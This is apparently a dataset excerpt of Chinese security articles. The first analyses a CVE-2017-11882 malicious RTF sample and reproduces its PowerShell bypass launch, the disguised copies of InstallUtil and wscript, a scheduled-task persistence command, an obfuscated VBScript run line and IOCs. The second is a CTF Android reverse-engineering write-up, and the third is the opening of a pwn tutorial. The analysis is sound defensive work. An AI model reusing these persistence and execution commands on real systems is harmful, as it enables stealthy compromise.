text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 一个奇怪的CVE-2017-11882漏洞样本
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、静态分析
近期，CVE-2017-11882漏洞攻击还是很多，各种变异样本层出不穷。近发现又一个CVE-2017-11882文档，为RTF格式文件，通过分析其shellcode，发现作者还是很用心的。
文档打开后，显示的是乱码，如下图所示：
其中，在乱码下面包含三个对象，从左到右分别是Package对象、公式对象和图片。
### 1、Package对象
最左边对象为Package对象，如下图所示：
查看Package对象属性，其释放到临时目录下，文件名为e.m。
查看%temp%目录，发现下面确实生成一个e.m文件。
查看e.m文件，大小为94720，内容是一堆乱码。
### 2、公式对象
中间对象是一个windows公式对象，如下图所示:
### 3、图片
最右边的显示“0”的其实是一个图片，如下图所示：
### 4、RTFOBJ分析
利用RTFOBJ工具分析RTF文件，发现无法顺利解析该格式，显然作者经过了特殊处理，结果如下图：
## 二、动态分析
利用Process Monitor监控doc文档打开的动作，如下图所示：
具体如下：
1、DOC文档打开后，winword.exe调用EQNEDT32.EXE执行。
2、EQNEDT32.EXE调用运行cmd.exe，具体为: cmd.exe /c
%windir%\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy
Bypass -File X7jnZ.ps1。
3、Powershell.exe执行后，复制InstallUtil.exe和wscript.exe两个文件到临时目录下，并分别保存为mscorsw.exe和winwsh.exe。
"C:\Windows\system32\cmd.exe" /c copy /y C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe C:\Users\admin\AppData\Local\Temp\mscorsw.exe
"C:\Windows\system32\cmd.exe" /c copy /y C:\Windows\system32\wscript.exe C:\Users\admin\AppData\Local\Temp\winwsh.exe
4、Powershell.exe创建任务，任务如下：
C:\Windows\system32\schtasks.exe" /create /sc minute /mo 3 /tn "Security Script kb00588535" /tr "C:\Users\admin\AppData\Local\Temp\winwsh.exe //Nologo //E:vbscript //B C:\Users\admin\AppData\Local\Temp\Win836896.txt" /F
CreateObject(chr(87)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(83)&chr(104)&chr(101)&chr(108)&chr(108)).Run """C:\Users\admin\AppData\Local\Temp\mscorsw.exe"" /logfile= /u /LogToConsole=false ""C:\Users\admin\AppData\Local\Temp\tmp_Kquxaf.dat""", 0
创建的任务名为：“Security Script
kb00588535”，时间间隔为：3分钟，可执行路径为临时目录下winwsh.exe(其实为wscript.exe)，运行的vbs脚本为临时目录下Win836896.txt，文件内容如下：
5、VBS运行
VBS运行后，实际运行的mscorsw.exe（其实为InstallUtil.exe），调用的具体命令如下：
"C:\Users\admin\AppData\Local\Temp\mscorsw.exe" /logfile= /u /LogToConsole=false "C:\Users\admin\AppData\Local\Temp\tmp_Kquxaf.dat"
其中, tmp_Kquxaf.dat是一个PE文件。修改为EXE文件后，其属性如下图所示：
InstallUtil.exe安装程序工具是一个命令行实用工具，你可以通过此工具执行指定程序集中的安装程序组件，从而安装和卸载服务器资源。程序运行语法如下：
C:\Windows\Microsoft.NET\Framework\v4.0.30319>InstallUtil.exe
Microsoft (R) .NET Framework 安装实用工具版本 4.7.3056.0
版权所有 (C) Microsoft Corporation。保留所有权利。
用法: InstallUtil [/u | /uninstall] [option [...]] assembly [[[option [...]] assembly] [...]]
InstallUtil 执行每个给定程序集中的安装程序。
如果指定 /u 或 /uninstall 开关，则它卸载
程序集；反之，则安装它们。与其他
选项不同，/u 应用于所有的程序集，而不管它出现在命令行上
的位置。
安装程序以事务处理的方式完成: 如果其中的一个
程序集安装失败，则其他的所有安装程序集的安装
都会被回滚。卸载不是按事务处理的。
选项的格式为 /switch=[value]。出现在程序集名称之前的
任何选项都将应用到该程序集的安装。
选项是累积的但可以重写 - 为一个程序集指定的选项
将应用到下一个程序集，
除非为该选项指定一个新值。所有选项的默认设置是空的或为 False，
除非另行指定。
识别的选项:
用于安装任何程序集的选项:
/AssemblyName
程序集参数将被解释为程序集名称(Name,
Locale, PublicKeyToken, Version)。
默认情况下，将程序集参数解释为磁盘上的程序集的文件名。
/LogFile=[filename]
向其中写入进度的文件。如果为空，则不写入日志。默认为
<assemblyname>.InstallLog
/LogToConsole={true|false}
如果为 false，则不向控制台输出。
/ShowCallStack
如果在安装过程中的任何时候发生异常，则将
调用堆栈输出到日志。
/InstallStateDir=[directoryname]
要在其中存储 .InstallState 文件的目录。默认为
程序集的目录。
在程序集中使用的各个安装程序可以识别其他
选项。若要了解这些选项，请在命令行上运行 InstallUtil，并在该命令后面带上
程序集的路径和 /? 或 /help 选项。
因此，上面VBS运行后，其用途竟然是卸载tmp_Kquxaf.dat，好奇怪。这个是什么操作？
把InstallUtil.exe的参数修改为显示控制台，并且保存日志，运行后如下图所示：
我们再来看，如果不加/u参数，也就是非卸载操作，而是安装操作，会如何？运行结果如下图所示：
## 三、网络连接
利用wireshark抓包，发现文档打开后有发起DNS请求[www.norejike.com](http://www.norejike.com)，该域名目前无法解析：
查询域名：
由于无法判断是哪个进程发起的连接请求，于是修改本地hosts文件，让其ip解析为5.5.5.5
接着查看网络连接,发现PID为2532的进程发出了443连接请求，对应的进程是mscorsw.exe进程
根据前面的介绍，其实是tmp_Kquxaf.dat发出的网络操作。
"C:\Users\admin\AppData\Local\Temp\mscorsw.exe" /logfile= /u /LogToConsole=false "C:\Users\admin\AppData\Local\Temp\tmp_Kquxaf.dat"
## 四、漏洞调试
根据cve-2017-11882漏洞特点，我们直接调试，断点中断在00411658位置，如下图所示：
经过多次的复制操作后，栈溢出被覆盖，此时ESP位置内容为：
其中0x0045159B是返回后的EIP地址，我们查看该处值为0xC3,正式汇编指令retn。
本漏洞是典型的栈溢出漏洞，retn返回后，执行第一段shellcode指令。我们接着查看该shellcode在RTF文档中的位置，在位置在0x000427EB处，如下图所示：
接下来，进行shellcode的解密操作：
循环解密指令的长度为0x16CB，shellcode的密码位置在RTF文档的0x4287B处，如下图所示：
经过xor 0Xb6解密操作后的shellcode如下图所示：
该段shellcode执行后，动态获取需要调用的函数。接下来是获取e.m（Package对象）在临时目录的全路径：
然后是对e.m文件进行解密操作，大小为0x17200,如下图所示：
e.m解密后是一个PE文件，如下图所示：
接着判断解密后的内容是否为合法的PE文件，如下图所示：
然后在内存中运行该PE文件。
我们直接从内存中把解密后的PE文件导出到本地文件，并保存为mem.pe.exe，其属性如下：
该PE文件其实是一个标准的windows系统CAB自解压安装文件，在文件中找到自安装运行的可执行路径为：cmd.exe /c
%windir%\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy
Bypass -File X7jnZ.ps1，如下图所示：
我们用winrar解压缩，发现文件里面就包含一个X7jnZ.ps1文件，是Powershell运行脚本。
终于X7jnZ.ps1文件发现了，我们来看其具体内容：
直接利用powershell执行该脚本，结果如下：
powershell.exe -ExecutionPolicy Bypass -File X7jnZ.ps1
已复制 1 个文件。
powershell.exe : Get-Process : 找不到名为“avp”的进程。请验证该进程名称，然后再次调用 cmdlet。
所在位置 行:1 字符: 15
+ powershell.exe <<<< -ExecutionPolicy Bypass -File X7jnZ.ps1
+ CategoryInfo : NotSpecified: (Get-Process : 找...，然后再次调用 cmdlet。:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
所在位置 行:53 字符: 20
+ $avp = Get-Process <<<< -Name avp
+ CategoryInfo : ObjectNotFound: (avp:String) [Get-Process], Proc
essCommandException
+ FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.
Commands.GetProcessCommand
Get-Process : 找不到名为“avpui”的进程。请验证该进程名称，然后再次调用 cmdlet
。
所在位置 行:54 字符: 22
+ $avpui = Get-Process <<<< -Name avpui
+ CategoryInfo : ObjectNotFound: (avpui:String) [Get-Process], Pr
ocessCommandException
+ FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.
Commands.GetProcessCommand
已复制 1 个文件。
成功: 成功创建计划任务 "Security Script kb00588535"。
成功: 尝试运行 "Security Script kb00588535"。
再次调用，会报错说tmp_Kquxaf.dat被占用，无法写入文件，因此，tmp_Kquxaf.dat文件也是X7jnZ.ps1脚本运行后释放出来的。此外，X7jnZ.ps1脚本还复制InstallUtil.exe和wscript.exe两个文件到临时目录下，并分别保存为mscorsw.exe和winwsh.exe，之后创建计划任务并启动，动作和动态分析一致。
至此，样本执行后的动作基本分析完毕。
## 五、tmp_Kquxaf.dat初步分析
上文说到VBS脚本用途竟然是卸载tmp_Kquxaf.dat很奇怪。接下来分析一下tmp_Kquxaf.dat的作用。tmp_Kquxaf.dat是.net程序，当调用-u卸载的时候调用Uninstall函数，该函数的作用是创建互斥变量，并调用并运行函数GoCode.Exec()，如下图所示：
我们来看GoCode类，根据其函数名和相关的变量，看出该类功能应该是内存执行shellcode。
在IDA中查看EXEC函数，该函数先对shellcode字符串进行处理，shellcode字符串如下图所示：
然后对上述字符串进行base64解码，再利用CreateRemote创建线程执行，如下图所示：
## 六、结语
本文主要分析了一个CVE-2017-11882样本，该样本总结起来有以下几个特点：
1、样本自身包含恶意代码，没有利用远程下载的方式，避免winword打开后直接访问网络。
2、样本shellcode功能较为复杂，包含API地址获取、解密、内存加载运行等。
3、奇怪的一些点是，创建的任务每隔3分钟运行，有点太频繁；访问的域名目前未启用，该样本难道是测试作用？
IOCS:
Virus.doc：4a639d907a9e5401c3f7b26d65ca4b4ca5e8feb3406739afd9d7bcb126c50467（virustotal：19
engines detected this file）
tmp_Kquxaf.dat：c2e92ca88cac02a17232006b869a44d8b1686c8955cdb4ff7e7c717d3aa20a09（virustotal：26
engines detected this file）
X7jnZ.ps1：140bd1c5b0162b359db20eaef888ceb106cdca0fab234999aae1ce99f18d5800（virustotal：No
matches found）
Pe.mem.exe：0be1b9ec479ddd3be6ef6b76068100ec3c00d2a4148d6dab402af88489b75aee（virustotal：No
matches found）
domain：www.norejike.com | 社区文章 |
# AntCTF X D³CTF Reverse签到题 No Name 详细题解 & IDA入门使用技巧
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## JEB分析文件
apk文件拖入JEB进行分析
发现程序调用了checkFlag函数对flag进行检验
发现check函数是一个native函数，所以去so文件里面寻找对应的函数
## FlagChecker_check Native函数分析
在IDA中搜索check函数，可以搜索到一个
发现了check函数
### 还原参数类型
找到函数后，我们要先把第一个参数变量类型设置成 **JNIEnv ***
这样的话对于识别一些函数会方便很多，在分析so文件的时候都推荐这样来做
### 基本框架分析
修改之后再观察代码信息
发现这个函数从输入中获取信息，并把长度信息保存在v6[0]的位置，传入 **sub_D478** 函数进行解密，解密后的内容使用 **memcmp**
进行比对。 **这是一种比较常见的情况，告诉你函数操作结束后的内容，要求你逆向出函数操作来得到输入信息**
### 分析 **sub_D478** 函数
一眼可以看出是一个变种的TEA的 **解密函数** ，运算轮数为16轮，所以sum的值从 **0xE3779B90** 开始
**使用Invert sign快速识别常量**
对于 **0x61C88647** 这个常量，如果你做题做的不够多，可能一眼看不出来这个就是 **0x9E3779B9** 的补码
这个时候就可以尝试在数据上右键， **Invert sign** 一下再看看数据
转换之后就可以看到熟悉的 **TEA常数** 了（可以借助百度来快速的分析算法）
**编写TEA解密代码并解密**
void tea_decrypt(uint32_t* v, int len)
{
for (int idx = 0; idx < len >> 2; idx += 2)
{
uint32_t v0 = v[idx], v1 = v[idx + 1], sum = 0xE3779B90, i;
uint32_t delta = 0x9e3779b9;
_DWORD v12[4];
memcpy(v12, "com.d3ctf.noname", 16LL);
for (int j = 0; j < 0x10; ++j)
{
v1 -= (((16 * v0) ^ (v0 >> 5)) + v0) ^ (sum + v12[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((16 * v1) ^ (v1 >> 5)) + v1) ^ (sum + v12[sum & 3]);
}
v[idx] = v0;
v[idx + 1] = v1;
}
}
void tea_encrypt(uint32_t* v, int len)
{
for (int idx = 0; idx < len >> 2; idx += 2)
{
uint32_t v0 = v[idx], v1 = v[idx + 1], sum = 0, i;
uint32_t delta = 0x9e3779b9;
_DWORD v12[4];
memcpy(v12, "com.d3ctf.noname", 16LL);
for (i = 0; i < 16; i++)
{
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + v12[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + v12[(sum >> 11) & 3]);
}
v[idx] = v0;
v[idx + 1] = v1;
}
}
解密后发现
可恶，居然拿了个假的flag。
**疑问**
根据代码逻辑来说，应该是要对最后比对的数据进行加密，编写加密函数输出的内容才是要输入的内容，但是这道题里面使用的却是用解密函数输出fake_flag，不过影响不大，因为这个反正不是真正程序执行的内容
## 重新审视文件
由于前面分析的急切，所以都没有注意到程序中其他内容，以至于分析到了错误的flag。
浪费了很多时间后，我们又回到了起点，
发现有这么一个函数，观察发现FlagChecker类居然被替换了。
而这部分代码的逻辑是，对data.enc文件进行AES解密，秘钥信息从native函数中得到。
## NoNameApp_getAESKey Native函数分析
这里实际上可以下断点来调试程序。但是我这里由于没有实体机，且so文件只提供了amd64的格式（在模拟器上无法正常的运行），所以我这里只能静态分析。
发现直接返回了key的内容，所以key的数据应该在其他地方被修改调用。
同时我们知道key的长度是0x10，也正好符合AES-128的秘钥长度。
### 还原key的数据类型
双击进入数据显示
发现key的旁边是 **%4** ，我理解为IDA识别这个变量的长度，我们这里要设置成的是1字节。
在内容下按D键多次，直到显示为 **%1**
接着按下小键盘上的星号，可以定义key为数组，设置数组长度（Array size）为0x10
最后就成功还原成这样了
### 分析key数据内容
在这个函数中，没有对key的数据内容进行任何的修改，那么只可能是在初始化的时候就生成了key的信息，我们可以从 **JNI_OnLoad**
开始分析，但是我这里为了方便，用一个更简单的方法快速定位
**查找引用**
在变量上按下 **X 查找引用**
发现了引用位置
**定义函数**
发现这一块代码都是红色的，我们之间按F5没有任何的反应，这代表这一块的代码还没有被定义成函数，一般来说是IDA对于这一块代码的栈帧分析数据存在一些问题，或者IDA分析后不认为这里是个函数。
前者需要手动修改，而我们这里是后者的情况，我们只需要到函数头部按下 **P键手动进行定义函数** 。
定义后再按下F5，就可以看到比较舒服的伪代码了， **这得益于之前的信息还原**
这一块内容对key进行运算，我们可以直接复制这一块的伪代码，以及此函数最上面的变量定义，删除一些无关紧要的变量后，补上一些文件头后，可以直接在IDE中运行。
同时在这一段伪代码中，只调用了 **sub_D478** 函数这一个函数，而这个函数就是我们之前所编写的TEA解密函数，所以我们直接替换即可
###
**引入IDA常用函数头文件**
我一般使用的是vs，这里需要补充的一点是，有些在伪代码的函数定义是不存在的，这时候需要使用
#include "defs.h"
来引入头文件，这个文件在 **IDA目录下的plugins文件夹** 内，这个文件里面包含了伪代码中绝大多数变量类型和函数定义。
**导出程序常量**
这一行语句里面包含了一个全局变量，我们需要把这个全局变量导出，才能在我自己的代码中使用。我一般用的方法是先定义为数组，然后再用 **Shift + E**
导出。
我们从之前的分析中得知前四个字节存放字符长度，所以我们只需要设置后0x10长度的数据为数组即可。
IDA只能导出unsigned char 的字节数据，对于其他类型的导出，IDA还不支持，我们只能用插件来完成这个功能，我这里使用的是
**LazyIDA.py** 插件。
### 执行程序得到AES-KEY
在上述操作后，我们可以编写代码并且成功执行。
在比赛的时候时间是比较宝贵的，所以使用VS下断点来直接的观察程序内存数据不妨为一个好方法
可以通过vs自带的内存查看，在地址栏中输入key就会跳转到对应位置。
**坑点**
这里刚开始算出来的key一直都是错误的，在之后才发现原来这个常量数组在其他地方被修改了，导致无法计算出正确值。
## 解密数据
得到key之后，我们就可以用python直接解密文件
import binascii
from Crypto.Cipher import AES
key = binascii.unhexlify("bbbc3bef42b068f57a90078cc03f797b")
aes = AES.new(key, mode=AES.MODE_ECB)
with open("data.enc", "rb") as fp:
with open("data.jar", "wb") as f:
f.write(aes.decrypt(fp.read()))
## 分析替换后的JAR文件
解密后再用JEB打开文件，发现了程序的真实执行代码
比较简单的异或比对，编写程序并进行解密输出。
## 解题程序
#include <cstdio>
#include <cstring>
#include <cstdint>
#include <cstdlib>
#include "defs.h"
unsigned int data[9] = {
0x4A35EBB6, 0x6674F329, 0x4A8AAD73, 0xB5335406, 0x7F668F12, 0x8A966EF7, 0xE7E8807F,
0xC0F604E0, 0x61630000
};
unsigned char ida_chars[] =
{
0x07, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x11, 0x00,
0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x16, 0x00,
0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00,
0x16, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x09, 0x00,
0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0E, 0x00,
0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x09, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x14, 0x00,
0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x0E, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x04, 0x00,
0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x17, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0B, 0x00,
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x0B, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x17, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,
0x0F, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x06, 0x00,
0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00,
0x15, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0A, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0F, 0x00,
0x00, 0x00, 0x15, 0x00, 0x00, 0x00
};
int dword_34000[64] = {
0xD76AB478, 0xE8C7B756, 0x242070DB, 0xC1BDCEEE, 0xF57C1FAF, 0x4787C62A, 0xA8304613, 0xFD469501,
0x6980D8D8, 0x8B44F4AF, 0xFFFF5BB1, 0x895CD7BE, 0x6B901122, 0xFD987193, 0xA679438E, 0x49B40821,
0xF61E2562, 0xC040BD40, 0x265E5A51, 0xE9B6C7AA, 0xD62F105D, 0x02441453, 0xD8A1E681, 0xE7D3FBC8,
0x21E1CDE6, 0xC33701D6, 0xF4D50D87, 0x455A14ED, 0xA9E3E905, 0xFCEFA7F8, 0x676F02D9, 0x8D2A4C8A,
0xFFFA3942, 0x8771F681, 0x6D9D6122, 0xFDE5380C, 0xA4BEEA44, 0x4BDECFA9, 0x46BB4B60, 0xBEBFBC70,
0x289B7EC6, 0xEAA127FA, 0xD4EF3085, 0x04881D05, 0xD9D4D039, 0xE6DB99E5, 0x1FA27CF8, 0xC4AC5665,
0xF4292244, 0x432AFF97, 0xAB9423A7, 0xFC93A039, 0x655B59C3, 0x8F0CCC92, 0xFFEFF47D, 0x85845DD1,
0x6FA87E4F, 0xFE2CE6E0, 0xA3014314, 0x4E0811A1, 0xF7537E82, 0xBD3AF235, 0x2AD7D2BB, 0xEB86D391
};
char key[16];
void tea_decrypt(uint32_t* v, int len)
{
for (int idx = 0; idx < len >> 2; idx += 2)
{
uint32_t v0 = v[idx], v1 = v[idx + 1], sum = 0xE3779B90, i;
uint32_t delta = 0x9e3779b9;
_DWORD v12[4];
memcpy(v12, "com.d3ctf.noname", 16LL);
for (int j = 0; j < 0x10; ++j)
{
v1 -= (((16 * v0) ^ (v0 >> 5)) + v0) ^ (sum + v12[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((16 * v1) ^ (v1 >> 5)) + v1) ^ (sum + v12[sum & 3]);
}
v[idx] = v0;
v[idx + 1] = v1;
}
}
void tea_encrypt(uint32_t* v, int len)
{
for (int idx = 0; idx < len >> 2; idx += 2)
{
uint32_t v0 = v[idx], v1 = v[idx + 1], sum = 0, i;
uint32_t delta = 0x9e3779b9;
_DWORD v12[4];
memcpy(v12, "com.d3ctf.noname", 16LL);
for (i = 0; i < 16; i++)
{
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + v12[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + v12[(sum >> 11) & 3]);
}
v[idx] = v0;
v[idx + 1] = v1;
}
}
void getAESkey()
{
__int64 v1; // x28
__int64 v2; // x30
const char* v3; // x0
int v4; // w9
const char* v5; // x0
__int64 v6; // x0
const char* v7; // x0
const char* v8; // x0
char* v9; // [xsp+0h] [xbp-540h]
char* v10; // [xsp+8h] [xbp-538h]
int i; // [xsp+40h] [xbp-500h]
unsigned int v12; // [xsp+44h] [xbp-4FCh]
char v13; // [xsp+57h] [xbp-4E9h]
void* handle; // [xsp+60h] [xbp-4E0h]
void(__fastcall * v15)(__int64); // [xsp+68h] [xbp-4D8h]
char* name; // [xsp+70h] [xbp-4D0h]
char* file; // [xsp+78h] [xbp-4C8h]
int v18; // [xsp+80h] [xbp-4C0h]
unsigned int v19; // [xsp+84h] [xbp-4BCh]
int v20; // [xsp+88h] [xbp-4B8h]
unsigned int k; // [xsp+8Ch] [xbp-4B4h]
int v22; // [xsp+90h] [xbp-4B0h]
int v23; // [xsp+94h] [xbp-4ACh]
int v24; // [xsp+98h] [xbp-4A8h]
int v25; // [xsp+9Ch] [xbp-4A4h]
int j; // [xsp+ACh] [xbp-494h]
int v27; // [xsp+B0h] [xbp-490h] BYREF
int v28; // [xsp+B4h] [xbp-48Ch]
_DWORD dest[64]; // [xsp+B8h] [xbp-488h] BYREF
char* v30; // [xsp+1B8h] [xbp-388h]
__int64 v31; // [xsp+1C0h] [xbp-380h]
char* v32; // [xsp+1C8h] [xbp-378h]
__int64 v33; // [xsp+1D0h] [xbp-370h]
__int64 v34; // [xsp+1D8h] [xbp-368h]
char* v35; // [xsp+1E0h] [xbp-360h]
__int64 v36; // [xsp+1E8h] [xbp-358h]
char* v37; // [xsp+1F0h] [xbp-350h]
char* v38; // [xsp+1F8h] [xbp-348h]
__int64 v39; // [xsp+200h] [xbp-340h]
__int64 v40; // [xsp+208h] [xbp-338h]
int* v41; // [xsp+210h] [xbp-330h]
__int64 v42; // [xsp+218h] [xbp-328h]
char* v43; // [xsp+220h] [xbp-320h]
char* v44; // [xsp+228h] [xbp-318h]
__int64 v45; // [xsp+230h] [xbp-310h]
__int64* v46; // [xsp+240h] [xbp-300h]
__int64 v47; // [xsp+248h] [xbp-2F8h]
const char* v48; // [xsp+258h] [xbp-2E8h]
int v49; // [xsp+264h] [xbp-2DCh]
const char* v50; // [xsp+268h] [xbp-2D8h]
int mode; // [xsp+274h] [xbp-2CCh]
char* v52; // [xsp+278h] [xbp-2C8h]
__int64 v53; // [xsp+280h] [xbp-2C0h]
char* v54; // [xsp+288h] [xbp-2B8h]
char* v55; // [xsp+290h] [xbp-2B0h]
int* v56; // [xsp+298h] [xbp-2A8h]
unsigned __int8** v57; // [xsp+2A0h] [xbp-2A0h]
int* v59; // [xsp+2B0h] [xbp-290h]
void(__fastcall * v60)(char*); // [xsp+2B8h] [xbp-288h]
unsigned int(__fastcall * v61)(char*, _QWORD); // [xsp+2C0h] [xbp-280h]
const char* v62; // [xsp+2C8h] [xbp-278h]
const char* v63; // [xsp+2D0h] [xbp-270h]
const char* v64; // [xsp+2D8h] [xbp-268h]
char* v65; // [xsp+2E0h] [xbp-260h]
int v67; // [xsp+2FCh] [xbp-244h]
__int64 v68; // [xsp+300h] [xbp-240h]
char* v69; // [xsp+308h] [xbp-238h]
int v70; // [xsp+31Ch] [xbp-224h]
char s[256]; // [xsp+320h] [xbp-220h] BYREF
int fd; // [xsp+420h] [xbp-120h]
int v73; // [xsp+424h] [xbp-11Ch]
unsigned int v74; // [xsp+428h] [xbp-118h]
int v75; // [xsp+42Ch] [xbp-114h]
__int64 v76; // [xsp+430h] [xbp-110h]
char* v77; // [xsp+438h] [xbp-108h]
__int64 v78; // [xsp+440h] [xbp-100h]
__int64 v79; // [xsp+448h] [xbp-F8h]
__int64 v80; // [xsp+450h] [xbp-F0h]
char* v81; // [xsp+458h] [xbp-E8h]
int v82; // [xsp+464h] [xbp-DCh]
__int64 v83; // [xsp+468h] [xbp-D8h]
const char* v84; // [xsp+470h] [xbp-D0h]
char* v85; // [xsp+478h] [xbp-C8h]
const char* v86; // [xsp+480h] [xbp-C0h]
char* v87; // [xsp+488h] [xbp-B8h]
__int64 v88; // [xsp+490h] [xbp-B0h]
__int64 v89; // [xsp+498h] [xbp-A8h]
const char* v90; // [xsp+4A0h] [xbp-A0h]
__int64 v91; // [xsp+4A8h] [xbp-98h]
void* v92; // [xsp+4B0h] [xbp-90h]
void(__fastcall * v93)(__int64); // [xsp+4B8h] [xbp-88h]
const char* v94; // [xsp+4C0h] [xbp-80h]
const char* v95; // [xsp+4C8h] [xbp-78h]
void* v96; // [xsp+4D0h] [xbp-70h]
void(__fastcall * v97)(__int64); // [xsp+4D8h] [xbp-68h]
const char* v98; // [xsp+4E0h] [xbp-60h]
const char* v99; // [xsp+4E8h] [xbp-58h]
void* v100; // [xsp+4F0h] [xbp-50h]
const char* v101; // [xsp+508h] [xbp-38h]
void* v102; // [xsp+510h] [xbp-30h]
const char* v103; // [xsp+528h] [xbp-18h]
__int64 vars0; // [xsp+540h] [xbp+0h] BYREF
char data_com_d3ctf_noname[] =
{
0x11, 0x29, 0x08, 0x24, 0x6B, 0xD4, 0x17, 0x33, 0xB8, 0x53,
0x76, 0xA9, 0x72, 0xD4, 0x70, 0x01
};
v13 = 0;
tea_decrypt((uint32_t*)&data_com_d3ctf_noname, 0x10);
v32 = data_com_d3ctf_noname;
v31 = 16LL;
v30 = 0LL;
memcpy(dest, ida_chars, sizeof(dest));
*(_DWORD*)key = 0x67452301;
*(_DWORD*)&key[4] = 0xEFCDAB89;
*(_DWORD*)&key[8] = 0x98BADCFE;
*(_DWORD*)&key[12] = 0x10325476;
v28 = (((unsigned int)((v31 + 8) / 0x40uLL) + 1) << 6) - 8;
v30 = (char*)calloc((((unsigned int)((v31 + 8) / 0x40uLL) + 1) << 6) + 56, 1u);
v37 = v30;
v36 = -1LL;
v35 = v32;
v34 = v31;
v33 = -1LL;
v10 = v30;
memcpy(v30, v32, v31);
v38 = v10;
v30[v31] = 0x80;
v27 = 8 * v31;
v43 = &v30[v28];
v42 = -1LL;
v41 = &v27;
v40 = 4LL;
v39 = -1LL;
v9 = v43;
memcpy(v43, &v27, 4u);
v44 = v9;
for (j = 0; j < v28; j += 64)
{
v25 = *(_DWORD*)key;
v24 = *(_DWORD*)&key[4];
v23 = *(_DWORD*)&key[8];
v22 = *(_DWORD*)&key[12];
for (k = 0; k < 0x40; ++k)
{
if (k >= 0x10)
{
if (k >= 0x20)
{
if (k >= 0x30)
{
v20 = v23 ^ (v24 | ~v22);
v19 = 7 * k % 0x10;
}
else
{
v20 = v24 ^ v23 ^ v22;
v19 = (3 * k + 5) % 0x10;
}
}
else
{
v20 = v22 & v24 | v23 & ~v22;
v19 = (5 * k + 1) % 0x10;
}
}
else
{
v20 = v24 & v23 | v22 & ~v24;
v19 = k;
}
v18 = v22;
v22 = v23;
v23 = v24;
v24 += __ROL4__(v25 + v20 + dword_34000[k] + *(_DWORD*)&v30[4 * v19 + j], dest[k]);
v25 = v18;
}
*(_DWORD*)key += v25;
*(_DWORD*)&key[4] += v24;
*(_DWORD*)&key[8] += v23;
*(_DWORD*)&key[12] += v22;
}
}
int main()
{
unsigned char ida_chars[] =
{
0xB6, 0xEB, 0x35, 0x4A, 0x29, 0xF3, 0x74, 0x66, 0x73, 0xAD,
0x8A, 0x4A, 0x06, 0x54, 0x33, 0xB5, 0x12, 0x8F, 0x66, 0x7F,
0xF7, 0x6E, 0x96, 0x8A, 0x7F, 0x80, 0xE8, 0xE7, 0xE0, 0x04,
0xF6, 0xC0
};
tea_decrypt((uint32_t*)ida_chars, 0x20);
printf("%s\n", ida_chars);
getAESkey();
unsigned char x[] = { 49, 102, 54, 33, 51, 46, 0x60, 52, 109, 97, 102, 52, 97, 55, 55, 97, 52, 0x60, 0x60, 109, 51, 101, 103, 101, 100, 98, 109, 103, 109, 54, 97, 55, 52, 98, 97, 98, 0x60, 99, 40 };
for (int i = 0; i < 39; i++)
{
printf("%c", x[i] ^ 85);
}
return 0;
} | 社区文章 |
# Mac 环境下 PWN入门系列（二）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 前言
菜鸡入门,刷题可能是比较快的方式,通过刷攻防世界的新手题能快速了解到pwn的各种类型的题目,然后再仔细分析各种类型的考点。
## 0x1 阅读前注意点
